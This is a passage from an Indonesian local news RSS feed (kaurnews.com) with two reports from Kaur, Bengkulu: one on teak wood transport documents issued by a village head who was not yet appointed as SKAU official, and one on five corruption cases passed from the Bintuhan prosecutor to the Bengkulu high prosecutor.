<p>Dokumen kayu yang telah dikeluarkan oleh Kades tersebut kini dibawa ke proivinsi untuk dibahas lebih lanjut. Apakah nantinya kayu tersebut bisa dijalankan atau ditahan tergantung hasil koordinasi. Pasalnya dokumen belum tentu kelur, karena sampai sekarang pengajuan SKAU belum masuk ke Dinas Kehutanan Provinsi Bengkulu, terang Lelkamsi.</p>
<p>Jika Harjo mengajukan ke Dinhut Kaur lanjut Lelkamsi, pihaknya akan tetap meneruskan ajuan ini ke pihak provinsi. Namun ini masih dalam tahap proses administrasi sehingga belum bisa mengeluarkan kayu jati. Jika dilakukan jelas melanggar aturan yang berlaku, lanjutnya menerangkan.</p>
<p>Pihaknya terang Lelkamsi akan menyelusuri beberapa banyak kayu yang telah dikeluarkan oleh Kades Batu Lungun Harjo yang sudah dikirim tanpa adanya sepengetahuan pihak kehutanan.</p>
<p>Hal ini membuat pihak kehutanan kecolongan karena dokumen yang harus diajukan ke pihaknya tidak digubris. Kita akan mengawasi seluruh kayu dan juga akan mengecek siapa-siapa saja di Kabupaten Kaur yang telah mengelurakan SKAU tanpa sepengetahuan pihak kehutanan, ujarnya</p>
<p>Sementara itu, kayu boleh dikeluarkan terlebih dahulu setelah membayar retribusi ke pemkab. Setelah itu pihak pemkab akan mengeluarkan SKAU dan juga kwintansi pembayaran retribusi.</p>
<p>Namun untuk mengurus SKAU harus mengajukan ke Dishut terlebih dahulu sebagai orang yang bisa mengeluarkan SKAU hal ini diangkat menjadi penjabat desertai dengan SK yang berlaku.</p>
<p>Kalau ada jati diperiksa, dihitung, bayar PAD. Tanda PAD itu bawa ke SKAU pejabat SKAU itu mesti dilantik. Kerena dia diwajibkan bukan seenak dia mengeluarkan SKAU. Itu namanya melanggar hukum, jelasnya.</p>
<p>Disisi lain menurut Kabid Pengendalian Hutan dan Peredaran Hasil Hutan (PHPHH) Boyman Kardi penerbit SKAU harus diangkat terlebih dahulu oleh pihak terkait. Namun untuk kayu jati yang kemarin telah disita karena belum adanya pengangkatan yang resmi.</p>
<p>Oleh karena itu dokumen milik Kades yang telah mengeluarkan SKAU tersebut akan dicek ke Dishut Provinsi.</p>
<p>Kita cocokan terlebih dahulu dokumen tersebut apakah nantinya cocok atau tidak. Ini masih dikoordinasikan pihak provinsi. Kita berpedoman sesuai Perda No 31 tahun 2006 pasal (8) tentang sumbangan sah lainya atas pemanfaatan hasil kayu tanaman rakyat dan ini juga sesuai Keputusan Menteri Kehutanan No 124 /Kpts-II/tahun 2003 tentang petunjuk teknis tata cara pengenaan, pemungutan, pembayaran dan penyetoran provisi sumber daya alam. Jika hal ini tidak dilakukan jelas akan diproses secara hukum, jelasnya</p>
<p>Sumber BE</p>
<a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fkaurnews.com%2Fdokumen-jati-ilegal-dikeluarkan-pejabat-skau-belum-dilantik&amp;linkname=Dokumen%20Jati%20Ilegal%20Dikeluarkan%20Pejabat%20SKAU%20Belum%20Dilantik"><img src="http://kaurnews.com/m/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://kaurnews.com/dokumen-jati-ilegal-dikeluarkan-pejabat-skau-belum-dilantik/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>5 Kasus Korupsi Dilimpahkan Ke Kejati</title>
		<link>http://kaurnews.com/5-kasus-korupsi-dilimpahkan-ke-kejati</link>
		<comments>http://kaurnews.com/5-kasus-korupsi-dilimpahkan-ke-kejati#comments</comments>
		<pubDate>Tue, 10 Nov 2009 01:32:18 +0000</pubDate>
		<dc:creator>Bujang Kaur</dc:creator>
				<category><![CDATA[Hukum]]></category>

		<guid isPermaLink="false">http://kaurnews.com/5-kasus-korupsi-dilimpahkan-ke-kejati</guid>
		<description><![CDATA[Kasus itu pun dilimpahkan ke Kejati Bengkulu. Sehingga untuk menindak lanjutinya yang berwenang memproses penyidikan pihak Kejati Bengkulu. Terkiat pelimpahan ini Kejari Bintuhan belum mengungkapkan alasan.
Kajari Bintuhan Dwi Samudji SH MHum mengatakan bahwa pihaknya telah melimpahkan 5 kasus dugaan korupsi yang di lingkungan Pemkab Kaur.
Diantaranya dan sudah ditangani pihak Kejati Bengkulu yakni dugaan Korupsi DAK [...]]]></description>
			<content:encoded><![CDATA[<p>Kasus itu pun dilimpahkan ke Kejati Bengkulu. Sehingga untuk menindak lanjutinya yang berwenang memproses penyidikan pihak Kejati Bengkulu. Terkiat pelimpahan ini Kejari Bintuhan belum mengungkapkan alasan.</p>
<p>Kajari Bintuhan Dwi Samudji SH MHum mengatakan bahwa pihaknya telah melimpahkan 5 kasus dugaan korupsi yang di lingkungan Pemkab Kaur.</p>
<p>Diantaranya dan sudah ditangani pihak Kejati Bengkulu yakni dugaan Korupsi DAK tahun 2008 senilai Rp 14 M dari 53 sekolah se Kabupaten Kaur serta beberapa dugaan korupsi dalam pembangunan jalan serta kausus lainya masih dalam penyidikan oleh Kejari Bintuhan. Semuanya telah dilaporkan ke Kejati Bengkulu.</p>
<p>Soal kasus di Kabupaten Kaur saya tidak komentar karena ini telah dilimpahkan ke Kejati Bengkulu, sehingga untuk konfirmasi ke sana saja (Kejati Bengkulu, red), ujar Dwi Samudji.</p>
<p>Selanjutnya, dari beberapa kasus tersebut semua telah dilimpahkan, namun Kejari belum memberitahukan alasan kenapa semua kasus yang ditanganinya harus di limpahkan ke Kejati, karena setiap penyelidikan harus dilaporkan ke Kejati Bengkulu.</p>
<p>Apapun alasanya tentang pelimpahan ini kami tidak bisa komentar, karena ini urusan lembaga kejaksaan namun untuk kejelasaanya konfirmasi langsung ke Kejati Bengkulu, jelasnya</p>
<p>Semenatara itu, Kejari Bintuhan tengah melakukan proses lidik terhadap 11 kasus namun 5 kasus besar sudah dilimpahkan ke Kejati, namun sayangnya Kejari sendiri tidak menjabarkan kasus apa saja selain DAK 2008 kepada wartawan.</p>
<p>Sumber BE</p>
<a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fkaurnews.com%2F5-kasus-korupsi-dilimpahkan-ke-kejati&amp;linkname=5%20Kasus%20Korupsi%20Dilimpahkan%20Ke%20Kejati"><img src="http://kaurnews.com/m/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://kaurnews.com/5-kasus-korupsi-dilimpahkan-ke-kejati/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>
